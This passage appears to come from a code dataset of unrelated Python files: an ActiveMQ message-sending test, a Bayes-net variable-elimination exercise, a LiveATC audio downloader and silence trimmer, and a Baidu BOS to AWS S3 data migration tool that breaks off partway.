print(node.value)\n","sub_path":"names/binary_search_tree.py","file_name":"binary_search_tree.py","file_ext":"py","file_size_in_byte":10589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"647269080","text":"import sys\nimport stomp\nimport json\nimport time\n\nfrom testconfig import LOG_FILENAME, ACTIVEMQ\n\nimport logging\nlogging.basicConfig(filename=LOG_FILENAME, level=logging.DEBUG)\n\n\nclass MyListener(stomp.ConnectionListener):\n def on_error(self, headers, message):\n print('received an error %s' % message)\n def on_message(self, headers, message):\n print('received a message %s' % message)\n\n\ndef send(destination, message, persistent='true'):\n \"\"\"\n Send a message to a queue\n @param destination: name of the queue\n @param message: message content\n \"\"\"\n\n print(\"Before attempting to connect to ActiveMQ\")\n conn = stomp.Connection(host_and_ports=ACTIVEMQ['broker'], use_ssl=ACTIVEMQ['SSL'], ssl_version=3)\n print(\"After attempting to connect to ActiveMQ\")\n\n print(\"Start\")\n conn.set_listener('', MyListener())\n conn.start()\n print(\"Connect\")\n conn.connect(ACTIVEMQ['username'], ACTIVEMQ['password'], wait=False)\n print(\"send\")\n conn.send(destination, message, persistent='true', priority='4')\n print(\"Message send with information:\")\n print(\"%s: %s\" % (\"destination\", destination))\n print(\"%s: %s\" % (\"message\", message))\n\n conn.disconnect()\n\ndestination = '/queue/ReductionPending'\n\n# Example for testing\nreduction_script=open('reduce.py').read()\ntestdata='\\\\isis\\\\NDXGEM\\\\Instrument\\\\data\\\\cycle_15_1\\\\GEM75513.nxs'\nmessage2={\"run_number\": \"75513\", \"rb_number\": \"1510188\", \"facility\": \"ISIS\", \"run_version\": 0, \"instrument\": \"GEM\", \"reduction_script\": reduction_script, \"data\": testdata, \"reduction_arguments\": {\"advanced_vars\": {\"var_6\": [2, 0.5], \"var_5\": [0, 7]}, \"standard_vars\": {\"var_4\": [22413, 22450], \"var_3\": [2.87], \"var_2\": \"5,2,4,30.0\", \"var_1\": \"-3,-5,-4,-5.0\"}}}\n\nsend(destination, json.dumps(message2))\n","sub_path":"Scripts/ActiveMQTests/sendMessage.py","file_name":"sendMessage.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"301852865","text":"\n\nclass VariableElimination:\n @staticmethod\n def inference(factorList, queryVariables, orderedListOfHiddenVariables, evidenceList):\n for ev in evidenceList:\n remove_list = []\n for factor in factorList:\n if ev in factor.varList:\n newFactor = factor.restrict(ev, evidenceList[ev])\n remove_list.append(factor)\n if len(newFactor.varList) > 0:\n factorList.append(newFactor)\n factorList = [factor for factor in factorList if factor not in remove_list]\n\n for var in orderedListOfHiddenVariables:\n targets = [factor for factor in factorList if var in factor.varList]\n if len(targets) == 0:\n continue\n\n res = targets[0]\n remove_list = [targets[0]]\n for i in range(1, len(targets)):\n target = targets[i]\n res = res.multiply(target)\n remove_list.append(target)\n\n res = res.sumout(var)\n factorList = [factor for factor in factorList if factor not in remove_list]\n if res is not None:\n factorList.append(res)\n\n print(\"RESULT:\")\n res = factorList[0]\n\n for factor in factorList[1:]:\n res = res.multiply(factor)\n\n total = sum(res.cpt.values())\n res.cpt = {k: v/total for k, v in res.cpt.items()}\n res.print()\n\n @staticmethod\n def printFactors(factorList):\n for factor in factorList:\n factor.print()\n\nclass Util:\n @staticmethod\n def to_binary(num, len):\n return format(num, '0' + str(len) + 'b')\n\n\nclass Node:\n def __init__(self, name, var_list):\n self.name = name\n self.varList = var_list\n self.cpt = {}\n\n def setCpt(self, cpt):\n self.cpt = cpt\n\n def print(self):\n print(\"Name = \" + self.name)\n print(\" vars \" + str(self.varList))\n\n for key in self.cpt:\n print(\" key: \" + key + \" val : \" + str(self.cpt[key]))\n\n print(\"\")\n\n def multiply(self, factor):\n \"\"\"function that multiplies with another factor\"\"\"\n common = [var for var in factor.varList if var in self.varList]\n common_in_1 = [self.varList.index(var) for var in self.varList if var in common]\n common_in_2 = [factor.varList.index(var) for var in factor.varList if var in common]\n key_len_1 = len(self.varList)\n key_len_2 = len(factor.varList)\n new_cpt = {}\n firstMap = {}\n for key in self.cpt:\n new_key = ''.join([key[i] for i in range(key_len_1) if i in common_in_1])\n rest = ''.join([key[i] for i in range(key_len_1) if i not in common_in_1]) # bad style. d.c\n if new_key not in firstMap:\n firstMap[new_key] = {}\n firstMap[new_key][rest] = self.cpt[key];\n\n for key in factor.cpt:\n new_key = ''.join([key[i] for i in range(key_len_2) if i in common_in_2])\n rest = ''.join([key[i] for i in range(key_len_2) if i not in common_in_2]) # bad style. d.c\n fp = firstMap[new_key]\n for key2 in fp:\n res_key = new_key + key2 + rest\n new_cpt[res_key] = fp[key2] * factor.cpt[key]\n\n newList = common + [var for var in self.varList if var not in common] + \\\n [var for var in factor.varList if var not in common]\n\n new_node = Node(\"f\" + str(newList), newList)\n new_node.setCpt(new_cpt)\n return new_node\n\n\n\n def sumout(self, variable):\n \"\"\"function that sums out a variable given a factor\"\"\"\n if len(self.varList) == 1:\n return None\n index = self.varList.index(variable)\n new_cpt = {}\n new_var_list = self.varList\n del new_var_list[index]\n new_size = 2 ** len(new_var_list)\n for i in range(new_size):\n new_key = str(Util.to_binary(i, len(new_var_list)))\n val1 = self.cpt[new_key[:index] + '0' + new_key[index:]]\n val2 = self.cpt[new_key[:index] + '1' + new_key[index:]]\n new_cpt[new_key] = val1 + val2\n\n new_node = Node(\"f\" + str(new_var_list), new_var_list)\n new_node.setCpt(new_cpt)\n return new_node\n\n def restrict(self, variable, value):\n \"\"\"function that restricts a variable to some value in a given factor\"\"\"\n index = self.varList.index(variable);\n new_cpt = {}\n for key in self.cpt:\n if key[index] == str(value):\n new_key = key[:index] + key[index + 1:]\n new_cpt[new_key] = self.cpt[key]\n\n new_var_list = self.varList[:index] + self.varList[index + 1:]\n new_node = Node(\"f\" + str(new_var_list), new_var_list)\n new_node.setCpt(new_cpt)\n return new_node\n\n\n# create nodes for Bayes Net\nFM = Node(\"FM\", [\"FM\"])\nNA = Node(\"NA\", [\"NA\"])\nFS = Node(\"FS\", [\"FS\"])\nFB = Node(\"FB\", [\"FB\", \"FS\"])\nNDG = Node(\"NDG\", [\"NDG\", \"FM\", \"NA\"])\nFH = Node(\"FH\", [\"FH\", \"NDG\", \"FS\", \"FM\"])\n\n# Generate cpt for each node\nFM.setCpt({'0': 1-1/28, '1': 1/28})\nNA.setCpt({'0': 1-0.3, '1': 0.3})\nFS.setCpt({'0': 1-0.05, '1': 0.05})\nFB.setCpt({'11': 0.6, '01': 1-0.6, '10': 0.1, '00': 1-0.1})\nNDG.setCpt({'111': 0.8, '011': 1-0.8, '110': 0.4, '010': 0.6, '101': 0.5, '001': 0.5, '100': 0, '000': 1})\nFH.setCpt({'1111': 0.99, '0111': 0.01, '1011': 0.9, '0011': 0.1, '1101': 0.65, '0101': 0.35, '1110': 0.75, '0110': 0.25,\n '1010': 0.5, '0010': 0.5, '1100': 0.2, '0100': 0.8, '1001': 0.4, '0001': 0.6, '1000': 0, '0000': 1})\n\n\nprint(\"Q2 **********************\")\nVariableElimination.inference([FH, NA, FS, FM, NDG], ['FH'], ['NA', 'NDG', 'FM', 'FS'], {})\n\nprint(\"Q4 **********************\")\nVariableElimination.inference([FH, FM, NA, FS, NDG, FB], ['FS'], ['NA', 'NDG'],\n {'FH': 1, 'FM': 1, 'FB': 1})\nprint(\"Q5 **********************\")\nVariableElimination.inference([FH, FM, NA, FS, NDG, FB], ['FS'], ['NDG'],\n {'FH': 1, 'FM': 1, 'FB': 1, 'NA': 1})\n\nprint(\"Q3 **********************\")\nVariableElimination.inference([FH, FM, NA, FS, NDG, FB], ['FS'], ['NA', 'NDG', 'FB'], {'FH': 1, 'FM': 1})\n","sub_path":"a3.py","file_name":"a3.py","file_ext":"py","file_size_in_byte":6227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"489640986","text":"from pydub import AudioSegment\nfrom pydub.utils import db_to_float\nfrom functools import reduce\nfrom pydub.silence import split_on_silence\nimport moment\nfrom datetime import datetime\nimport urllib.request\nimport os\n\n\ndef crateDir(directory):\n\tif not os.path.exists(directory):\n\t\tos.makedirs(directory)\n\n\ncrateDir(\"originalDownloads\")\ncrateDir(\"processed\")\n\n\ndomain = \"http://archive-server.liveatc.net/\"\n\nininTime = datetime(2017, 2, 5, 10, 0, 0, 0)\na = moment.date(ininTime)\naUTC = a.add(hours=5, minutes=0, seconds=0)\n\n\nairport = \"KCDW\"\nfileLabels = []\nfor i in range(14):\n\tb = aUTC.format(\"MMM-DD-YYYY-HHmm\")\n\tfileName = airport+\"-\"+b+\"Z\"+\".mp3\"\n\tprint(fileName)\n\tfileLabels.append(fileName)\n\taUTC.add(hours=0, minutes=30, seconds=0)\n\nfor fileLabel in fileLabels:\n\tdownloadUrl = domain+airport.lower()+\"/\"+fileLabel\n\tprint(downloadUrl)\n\turllib.request.urlretrieve(downloadUrl, \"originalDownloads/\"+fileLabel)\n\nprint(\"download finished, start processing......\")\n\nfor fileLabel in fileLabels:\n\n\t# Let's load up the audio we need...\n\tpodcast = AudioSegment.from_mp3(\"originalDownloads/\"+fileLabel)\n\t# intro = AudioSegment.from_wav(\"intro.wav\")\n\t# outro = AudioSegment.from_wav(\"outro.wav\")\n\n\t# Let's consider anything that is 30 decibels quieter than\n\t# the average volume of the podcast to be silence\n\taverage_loudness = podcast.rms\n\tprint(average_loudness)\n\tif average_loudness < 100:\n\t\tcontinue\n\t\n\tsilence_threshold = average_loudness * db_to_float(-25)\n\n\t# filter out the silence\n\tpodcast_parts = (ms for ms in podcast if ms.rms > silence_threshold)\n\n\t# combine all the chunks back together\n\tpodcast = reduce(lambda a, b: a + b, podcast_parts)\n\n\t# add on the bumpers\n\t#podcast = intro + podcast + outro\n\n\t# save the result\n\tpodcast.export(\"processed/\"+fileLabel, format=\"mp3\")\n\n","sub_path":"ATC.py","file_name":"ATC.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"291571211","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: gxs\n@license: (C) Copyright 2016-2019, Light2Cloud (Beijing) Web Service Co., LTD\n@contact: dingjianfeng@light2cloud.com\n@software: AWS-DJF\n@file: bos_and_s3_data.py\n@ide: PyCharm\n@time: 2020/4/28 14:06\n@desc:\n\"\"\"\nimport os\nimport pathlib\nimport logging\nimport csv\nimport fnmatch\nimport hashlib\nimport base64\nimport shutil\nimport zipfile\nimport time\nimport datetime\n\nimport boto3\nfrom botocore.exceptions import ClientError\n\nfrom baidubce.bce_client_configuration import BceClientConfiguration\nfrom baidubce.auth.bce_credentials import BceCredentials\nfrom baidubce.services.sts.sts_client import StsClient\nfrom baidubce.exception import BceError\nfrom baidubce.services.bos.bos_client import BosClient\nfrom baidubce.services.bos import storage_class\n\nimport threading\n\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nLOG_DIR = os.path.join(BASE_DIR, 'logs')\nLOG_FILE = os.path.join(LOG_DIR, 'data_from_bos_to_s3_all.log')\nLOG_FILE_ERROR = os.path.join(LOG_DIR, 'data_from_bos_to_s3_warning.log')\nLOG_Danger = os.path.join(LOG_DIR, 'data_danger.log')\n\nif not os.path.isdir(LOG_DIR):\n os.makedirs(LOG_DIR)\n\n\nclass DataFromBOSToS3:\n\n def __init__(\n self, bce_access_key_id=None, bce_secret_access_key=None,\n bce_bos_host=None, bce_sts_host=None, bce_region=None,\n bos_bucket_name=None, bos_storage_class=None,\n verify_data_after_download=True,\n access_key=None, secret_key=None, region=None,\n aws_session_token=None, profile=None, topic_arn=None,\n bucket=None, s3_storage_class=None,\n ):\n self.logger = self._init_logger()\n self.bce_access_key_id = bce_access_key_id\n self.bce_secret_access_key = bce_secret_access_key\n self.bce_bos_host = bce_bos_host\n self.bce_sts_host = bce_sts_host\n self.bce_region = bce_region\n self.bos_bucket_name = bos_bucket_name\n self.bos_storage_class = bos_storage_class\n self.verify_data_after_download = verify_data_after_download # 下载后验证数据\n self.accessKey = access_key\n self.secretKey = secret_key\n self.aws_session_token = aws_session_token\n self.profile = profile\n self.region = region\n self.topic_arn = topic_arn\n self.bucket = bucket\n self.s3_storage_class = s3_storage_class\n\n @staticmethod\n def _init_logger():\n _logging = logging.getLogger('l2c.%s' % __name__)\n _logging.setLevel(10)\n\n \"\"\"写入日志文件, 大等于20的日志被写入\"\"\"\n fh = logging.FileHandler(LOG_FILE, mode='a', encoding='utf8')\n fh.setLevel(20)\n formatter_fh = logging.Formatter('%(levelname)-3s\\t %(asctime)s [%(module)s, %(process)d:%(thread)d] '\n '[message]: %(message)s',\n datefmt=\"%Y-%m-%d %H:%M:%S\")\n fh.setFormatter(formatter_fh)\n\n \"\"\"写入日志文件, 大等于30的日志被写入\"\"\"\n fh_error = logging.FileHandler(LOG_FILE_ERROR, mode='a', encoding='utf8')\n fh_error.setLevel(30)\n formatter_fh_error = logging.Formatter('%(levelname)-3s\\t %(asctime)s [%(module)s, %(process)d:%(thread)d] '\n '[message]: %(message)s',\n datefmt=\"%Y-%m-%d %H:%M:%S\")\n fh_error.setFormatter(formatter_fh_error)\n\n \"\"\"写入日志文件, 大等于50的日志被写入\"\"\"\n fh_critical = logging.FileHandler(LOG_Danger, mode='a', encoding='utf8')\n fh_critical.setLevel(50)\n formatter_fh_critical = logging.Formatter('%(levelname)s %(asctime)s [%(module)s, %(process)d:%(thread)d] '\n '[message]: %(message)s',\n datefmt=\"%Y-%m-%d %H:%M:%S\")\n fh_critical.setFormatter(formatter_fh_critical)\n\n \"\"\"输出到终端\"\"\"\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n formatter_ch = logging.Formatter('%(asctime)s %(name)s: [line:%(lineno)d] ' \n '%(levelname)s-[message]: %(message)s',\n datefmt=\"%Y-%m-%d %H:%M:%S\")\n ch.setFormatter(formatter_ch)\n\n \"\"\"向 _logging 添加handler \"\"\"\n _logging.addHandler(fh)\n _logging.addHandler(fh_error)\n _logging.addHandler(fh_critical)\n _logging.addHandler(ch)\n return _logging\n\n def _bce_init_connection(self):\n try:\n bce_config = BceClientConfiguration(\n credentials=BceCredentials(\n access_key_id=self.bce_access_key_id,\n secret_access_key=self.bce_secret_access_key),\n endpoint=self.bce_bos_host)\n bos_client = BosClient(bce_config)\n return bos_client\n\n except BceError as e:\n self.logger.error('使用BCE当前凭证,在连接时发生错误 {}'.format(e))\n return []\n\n except Exception as e:\n self.logger.exception('使用BCE当前凭证,在连接时发生异常错误 {}'.format(e))\n return []\n\n def _bce_init_connection_sts(self):\n try:\n bce_config = BceClientConfiguration(\n credentials=BceCredentials(\n access_key_id=self.bce_access_key_id,\n secret_access_key=self.bce_secret_access_key),\n endpoint=self.bce_sts_host)\n sts_client = StsClient(bce_config)\n access_dict = {}\n duration_seconds = 3600\n access_dict[\"service\"] = \"bce:bos\"\n access_dict[\"region\"] = \"bj\"\n access_dict[\"effect\"] = \"Allow\"\n resource = [\"*\"]\n access_dict[\"resource\"] = resource\n permission = [\"*\"]\n access_dict[\"permission\"] = permission\n\n access_control_dict = {\"accessControlList\": [access_dict]}\n response = sts_client.get_session_token(acl=access_control_dict, duration_seconds=duration_seconds)\n\n config = BceClientConfiguration(\n credentials=BceCredentials(str(response.access_key_id), str(response.secret_access_key)),\n endpoint=self.bce_bos_host,\n security_token=response.session_token)\n bos_client = BosClient(config)\n return bos_client\n\n except BceError as e:\n self.logger.error('使用BCE当前连接令牌,在连接时发生错误 {}'.format(e))\n return []\n\n except Exception as e:\n self.logger.exception('使用BCE当前连接令牌,在连接时发生异常错误 {}'.format(e))\n return []\n\n def _aws_init_connection(self, service):\n try:\n s = boto3.Session(\n aws_access_key_id='{}'.format(self.accessKey),\n aws_secret_access_key='{}'.format(self.secretKey),\n region_name='{}'.format(self.region),\n )\n c = s.client('{}'.format(service))\n return c\n except ClientError as e:\n e.response['Error'].update({'operation_name': e.operation_name})\n\n self.logger.error('使用AWS当前凭证,在连接时发生错误 {}'.format(e.response['Error']))\n return []\n\n except Exception as e:\n self.logger.exception('使用AWS当前凭证,在连接时发生异常错误 {}'.format(e))\n return []\n\n def _aws_init_connection_token(self, service):\n try:\n s = boto3.Session(\n aws_access_key_id='{}'.format(self.accessKey),\n aws_secret_access_key='{}'.format(self.secretKey),\n aws_session_token='{}'.format(self.aws_session_token),\n region_name='{}'.format(self.region),\n )\n c = s.client('{}'.format(service))\n return c\n except ClientError as e:\n e.response['Error'].update({'operation_name': e.operation_name})\n self.logger.error('使用AWS当前连接令牌,在连接时发生错误 {}'.format(e.response['Error']))\n return []\n\n except Exception as e:\n self.logger.exception('使用AWS当前连接令牌,在连接时发生异常错误 {}'.format(e))\n return []\n\n def _aws_init_profile(self, service):\n \"\"\"\n A method to initialize an AWS service connection with an AWS profile.\n :param service:\n :return: (object) the AWS connection object.\n \"\"\"\n try:\n s = boto3.Session(\n profile_name='{}'.format(self.profile)\n )\n c = s.client('{}'.format(service))\n return c\n except ClientError as e:\n e.response['Error'].update({'operation_name': e.operation_name})\n\n self.logger.error('使用AWS当前配置文件,在连接时发生错误 {}'.format(e.response['Error']))\n return []\n\n except Exception as e:\n self.logger.exception('使用AWS当前配置文件,在连接时发生异常错误 {}'.format(e))\n return []\n\n def main_function(self):\n \"\"\"\n max_keys=1000\n :return:\n \"\"\"\n if self.bce_access_key_id is not None and self.bce_sts_host is not None:\n bos_client = self._bce_init_connection_sts()\n else:\n bos_client = self._bce_init_connection()\n\n try:\n # 'd/2eeQ7f', 'd/1442413150028', 'd/1442754128155', 'd/1444316556440', 'd/jieINz', 'd/yayYVv'\n # file_directory_list = [\n # 'd/sinldo/bbsy/jk7oxTbYvqiq/1', 'd/sinldo/trsrmyy/XOq7eNQbyEJz/2',\n # 'd/sinldo/yzrmyy/Pu5WmamyMfYj/3', 'd/sinldo/yzrmyy/QCYljhbqaYR3/4'] # 归档\n # file_directory_list = ['d/2eeQ7f', 'c/1442413150028']\n file_directory_list = self.list_bos_csv()\n fixed_directory_list = []\n while len(file_directory_list) >= 1:\n fixed_directory_list.clear()\n \"\"\"递进式取1000��参数\"\"\"\n fixed_directory_list.extend(file_directory_list[0:2])\n del file_directory_list[0:2]\n\n \"\"\"存放被遍历目录下所有子文件夹的列表\"\"\"\n sub_folder_list = []\n \"\"\"存放被遍历目录下所有文件的列表\"\"\"\n file_list = []\n size_list = []\n for _dir_list in fixed_directory_list:\n marker = None\n is_truncated = True\n while is_truncated:\n\n response = bos_client.list_objects(bucket_name=self.bos_bucket_name,\n max_keys=1000,\n prefix=_dir_list,\n marker=marker)\n for object in response.contents:\n if object.size == 0 and object.key[-1] == '/':\n sub_folder_list.append(object.key)\n else:\n file_list.append(object.key)\n size_list.append(object.size)\n is_truncated = response.is_truncated\n marker = getattr(response, 'next_marker', None)\n\n if sub_folder_list:\n self.makedir_directory_from_bos(fixed_directory_list, sub_folder_list)\n else:\n self.makedir_directory_from_bos(fixed_directory_list,)\n self.logger.warning(f'从 BOS 存储桶读取文件总数量:{len(file_list)} ')\n self.logger.warning(f'从 BOS 存储桶读取文件总大小:{self._read_bos_file_size(size_list)} GB ')\n if self._read_bos_file_size(size_list) <= str(700):\n return self.download_file_from_bos(bos_client, file_list, fixed_directory_list)\n # return threading.Thread(target=self.download_file_from_bos, name=f'bos',\n # args=(bos_client, file_list, fixed_directory_list)).start()\n # pass\n else:\n self.logger.warning(f'从 BOS 存储桶读取文件总大小超过 700 GB')\n\n except BceError as e:\n self.logger.error('从 BOS 存储桶读取文件详情时,发生错误 {}'.format(e))\n return []\n\n @staticmethod\n def list_bos_csv() -> list:\n result = []\n BASE_DIR = os.path.dirname(os.path.abspath(__file__))\n for csv_file in os.listdir(BASE_DIR):\n if fnmatch.fnmatch(csv_file, '?_aws_mig_*.csv'):\n with open(csv_file, mode='r', encoding='utf8', newline='') as csv_file:\n reader = csv.reader(csv_file)\n for item in reader:\n if reader.line_num == 1 and item[0] == \"concat('d/',site,'/',owner,'/',store_uid,'/')\":\n continue\n result.append(item[0])\n return result\n\n def makedir_directory_from_bos(self, directories: list, sub_folders: list = None):\n try:\n if sub_folders:\n for directory in directories:\n if not os.path.isdir(directory):\n os.makedirs(directory)\n for sub_folder in sub_folders:\n if not os.path.isdir(sub_folder):\n os.makedirs(sub_folder)\n else:\n for directory in directories:\n if not os.path.isdir(directory):\n os.makedirs(directory)\n except FileExistsError as e:\n self.logger.error('创建对应的多级目录时,发生错误 {}'.format(e))\n\n @staticmethod\n def _read_bos_file_size(size_list: list) -> str:\n size_sum = 0\n for n in size_list:\n size_sum = size_sum + n\n size_sum_gb = size_sum / (1024 * 1024 * 1024)\n size_sum_gb = (\"%.5f\" % size_sum_gb)\n return size_sum_gb\n\n def __upload_file_to_bos(self, file_lists: list):\n \"\"\"\n BOS储存类型: # 标准存储\tSTANDARD | 低频存储 STANDARD_IA | 冷存储 COLD | 归档存储\tARCHIVE\n\n :param file_lists:\n :return:\n \"\"\"\n if self.bce_access_key_id is not None and self.bce_sts_host is not None:\n bos_client = self._bce_init_connection_sts()\n else:\n bos_client = self._bce_init_connection()\n\n try:\n for file in file_lists:\n response = bos_client.put_object_from_file(\n bucket=self.bos_bucket_name,\n file_name=file,\n key=os.path.basename(file),\n storage_class=self.bos_storage_class,\n )\n self.logger.info(f'文件:{file} 上传到 BOS 存储桶成功')\n\n except BceError as e:\n self.logger.error('本地数据上传到 BOS 存储桶时,发生错误 {}'.format(e))\n return []\n\n def download_file_from_bos(self, bos_client, file_lists: list, file_directory_list: list):\n \"\"\"\n :param bos_client:\n :param file_lists: list BOS 数据列表\n :param file_directory_list: CSV 路径列表\n :return:\n \"\"\"\n try:\n for file in file_lists:\n path = pathlib.Path(file)\n if path.is_file():\n pass\n # self.logger.info(f'BOS 存储桶中的文件:{file} 在本地存在,不执行下载操作')\n else:\n if not os.path.isdir(os.path.dirname(file)):\n os.makedirs(os.path.dirname(file))\n if bos_client.get_object_meta_data(bucket_name=self.bos_bucket_name,\n key=file).metadata.bce_storage_class == 'ARCHIVE':\n self.logger.critical(f'BOS 归档文件:{file} ')\n continue\n response = bos_client.get_object_to_file(\n bucket_name=self.bos_bucket_name,\n key=file,\n file_name=file,\n )\n # self.logger.info(f'BOS 存储桶中的文件:{file} 下载到本地')\n\n content_md5 = response.metadata.content_md5\n self.check_file_md5(bos_client=bos_client, file_name=file, file_content_md5=content_md5,\n file_directory_list=file_directory_list)\n\n except BceError as e:\n self.logger.error(f'从 BOS 存储桶下载文件 时,发生错误 {e}')\n return []\n\n except Exception as e:\n self.logger.exception(f'从 BOS 存储桶下载文件时,发生错误 {e} ')\n return []\n\n finally:\n for base_path in file_directory_list:\n self._delete_old_zip(base_path)\n self.zip_file(base_path)\n\n def check_file_md5(self, bos_client, file_name: str, file_content_md5: str, file_directory_list: list):\n \"\"\"\n :param bos_client:\n :param file_name:\n :param file_content_md5:\n :param file_directory_list:\n :return:\n \"\"\"\n md5 = self._count_md5(file_name)\n if file_content_md5 == md5[0]:\n self.logger.info(f'下载、校验文件:{file_name} 完成,数据完整,content_md5:{file_content_md5} ')\n else:\n self.logger.warning(f'下载校验文件:{file_name} 发现数据损坏..... 原始 content_md5:{file_content_md5} '\n f'下载后 content_md5:{md5[0]} ')\n return self._download_check_corrupt_file(bos_client, file_name, file_directory_list)\n\n @staticmethod\n def _count_md5(file_name):\n buf_size = 8192\n with open(file_name, 'rb') as fp:\n file_md5 = hashlib.md5()\n while True:\n bytes_to_read = buf_size\n buf = fp.read(bytes_to_read)\n if not buf:\n break\n file_md5.update(buf)\n etag = file_md5.hexdigest()\n content_md5 = str(base64.standard_b64encode(file_md5.digest()), encoding='utf-8')\n return [content_md5, etag]\n\n def _download_check_corrupt_file(self, bos_client, file: str, file_directory_list: list):\n if file:\n self._delete_file(file)\n self.logger.info(f'删除下载的受损文件:{file} ')\n try:\n response = bos_client.get_object_to_file(\n bucket_name=self.bos_bucket_name,\n key=file,\n file_name=file,\n )\n self.logger.info(f'下载到本地的文件:{file} 受损,重新下载至本地')\n\n file_content_md5 = response.metadata.content_md5\n file_etag = response.metadata.etag\n md5 = self._count_md5(file)\n\n if file_content_md5 == md5[0] and file_etag == md5[1]:\n self.logger.warning(f'重新下载、校验的文件:{file} 完成,'\n f'经过对比 content_md5:{file_content_md5} 和 etag:{file_etag} '\n f'数据完整')\n else:\n self.logger.critical(f'重新下载校验文件:{file} 发现数据仍然有问题..... '\n f'原始 content_md5:{file_content_md5} '\n f'下载后 content_md5:{md5[0]} ')\n\n return self._choose_corrupt_write_to_csv(str(file), file_directory_list)\n\n except BceError as e:\n self.logger.error('从 BOS 存储桶再次下载源受损文件时,发生错误 {}'.format(e))\n return []\n\n def _delete_file(self, file: str):\n try:\n corrupt_file = pathlib.Path(file)\n os.remove(corrupt_file.absolute())\n except OSError as e:\n self.logger.error(f'删除本地受损文件:{file} 发生错误 {e.strerror}')\n\n @staticmethod\n def _read_csv_data(csv_file: str):\n if not os.path.isfile(csv_file):\n with open(csv_file, mode='a', encoding='utf8'):\n pass\n else:\n csv_data_list = []\n with open(csv_file, mode='r', encoding='utf8') as f:\n csv_read = csv.reader(f)\n for line in csv_read:\n if line:\n csv_data_list.extend(line)\n return csv_data_list\n\n def _choose_corrupt_write_to_csv(self, file: str, file_directory_list: list):\n file_csv = 'failed_data_check_after_second_download.csv'\n csv_file_list = self._read_csv_data(str(file_csv))\n with open(file=file_csv, mode='a', encoding='utf8') as f:\n if not csv_file_list:\n csv_write = csv.writer(f)\n csv_write.writerow([file])\n self.logger.warning(f'将二次下载校验后出现误差的数据:{file} 写入csv文件中')\n else:\n if file not in set(csv_file_list):\n csv_write = csv.writer(f)\n csv_write.writerow([file])\n self.logger.warning(f'将二次下载校验后出现误差的数据:{file} 写入csv文件中')\n\n base_path_csv = 'failed_data_dir_path_check_after_second_download.csv'\n csv_base_path_list = self._read_csv_data(str(base_path_csv))\n with open(file=str(base_path_csv), mode='a', encoding='utf8') as f:\n for base_path in file_directory_list:\n if file.startswith(base_path):\n if not csv_base_path_list:\n csv_write = csv.writer(f)\n csv_write.writerow([base_path])\n self.logger.critical(f'将下载后出现误差数据的路径:{base_path} 写入csv文件中')\n else:\n if base_path not in set(csv_base_path_list):\n csv_write = csv.writer(f)\n csv_write.writerow([base_path])\n self.logger.critical(f'将下载后出现误差数据的路径:{base_path} 写入csv文件中')\n\n @staticmethod\n def __get_time(day=0, hour=0, minute=0, second=0, get_time_type=None):\n bj_now_time = datetime.datetime.now().replace(tzinfo=None)\n if get_time_type == \"time_stamp\":\n now_tm = (bj_now_time + datetime.timedelta(\n days=day, hours=hour, minutes=minute, seconds=second\n )).strftime(\"%Y-%m-%d %H:%M:%S\")\n time_array = time.strptime(now_tm, \"%Y-%m-%d %H:%M:%S\")\n return_tm = str(int(time.mktime(time_array)))\n elif get_time_type == \"time_stamp_sf\":\n return_tm = (bj_now_time + datetime.timedelta(\n days=day, hours=hour, minutes=minute, seconds=second)).strftime(\"__%Y%m%d%H%M%S\")\n elif get_time_type == \"time_stamp_sp\":\n return_tm_sf = (bj_now_time + datetime.timedelta(\n days=day, hours=hour, minutes=minute, seconds=second)).strftime(\"__%Y%m%d%H%M%S\")\n return_tm = datetime.datetime.strptime(return_tm_sf, \"__%Y%m%d%H%M%S\")\n else:\n return_tm = bj_now_time\n return return_tm\n\n def _delete_old_zip(self, directory: str):\n try:\n for f_name in os.listdir(directory):\n if fnmatch.fnmatch(f_name, '__*.zip'):\n os.remove(pathlib.Path(directory, f_name))\n self.logger.info(f'删除旧压缩包:{f_name}')\n except OSError as e:\n self.logger.error(f'删除旧压缩包发生错误 {e.strerror}')\n\n def zip_file(self, base_path: str):\n file_lists = self._get_correct_data_to_zip(base_path)\n try:\n # zip_name = self.__get_time(get_time_type=\"time_stamp_sf\")\n # dir_zip_name = pathlib.Path(base_path, \"__\" +\n # datetime.datetime.now().replace(tzinfo=None).strftime(\"%Y%m%d-\") +\n # pathlib.Path(base_path).name + \".zip\")\n dir_zip_name = os.path.join(base_path, \"__\" + pathlib.Path(base_path).name + \".zip\").replace('\\\\', '/')\n with zipfile.ZipFile(\n dir_zip_name,\n 'w') as new_zip:\n for entry in file_lists:\n file_path = os.path.join(base_path, entry[1:])\n new_zip.write(file_path, entry)\n if len(new_zip.namelist()) == 0:\n self.logger.critical(f'压缩当前路径:{base_path} 压缩数量:0,不上传该压缩包')\n else:\n self.logger.warning(f'压缩当前路径:{base_path} 压缩数量:{len(new_zip.namelist())} 压缩文件列表:{new_zip.namelist()} ')\n return self.upload_file_to_s3(dir_zip_name)\n\n except OSError as e:\n self.logger.error(f'压缩本地文件时发生错误 {e.strerror}')\n\n @staticmethod\n def _get_correct_data_to_zip(base_path: str):\n file_dir_lists = []\n for dir_path, dir_names, files in os.walk(base_path):\n for file in files:\n file_dir_lists.append(os.path.join(dir_path, file))\n file_lists = []\n for file in file_dir_lists:\n if file.startswith(base_path):\n file_lists.append(file[len(base_path):])\n return file_lists\n\n def _read_zip_md5(self, dir_zip_name: str):\n md5 = self._count_md5(dir_zip_name)\n # self.logger.info(f'计算压缩包:{dir_zip_name} 的MD5值,'\n # f'content_md5:{md5[0]} etag:{md5[1]} ')\n return md5\n\n def upload_file_to_s3(self, zip_file: str):\n \"\"\"\n 储存类型:'STANDARD'|'REDUCED_REDUNDANCY'|'STANDARD_IA'|'ONEZONE_IA'|'INTELLIGENT_TIERING'|'GLACIER'|'DEEP_ARCHIVE',\n :param zip_file:\n :return:\n \"\"\"\n if self.accessKey is not None and self.aws_session_token is not None:\n s3c = 